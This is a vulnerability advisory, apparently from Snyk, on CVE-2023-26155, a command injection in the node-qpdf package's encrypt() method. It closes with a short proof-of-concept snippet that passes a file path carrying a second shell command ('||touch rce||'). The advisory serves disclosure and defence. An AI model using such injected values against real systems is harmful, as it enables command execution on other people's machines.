Improper Neutralization of Special Elements used in a Command Affecting node-qpdf package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.18% (56th
percentile)
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Test your applications- Snyk ID SNYK-JS-NODEQPDF-5747918
- published 13 Oct 2023
- disclosed 30 Jun 2023
- credit Xiao Feng
Introduced: 30 Jun 2023
CVE-2023-26155 Open this link in a new tabHow to fix?
There is no fixed version for node-qpdf.
Overview
node-qpdf is an A Content Preserving transformations on PDFs wrapped around QPDF
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements used in a Command such that the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.
PoC
var qpdf = require('node-qpdf');
var options = {
keyLength: 128,
password: 'YOUR_PASSWORD_TO_ENCRYPT'
}
qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created
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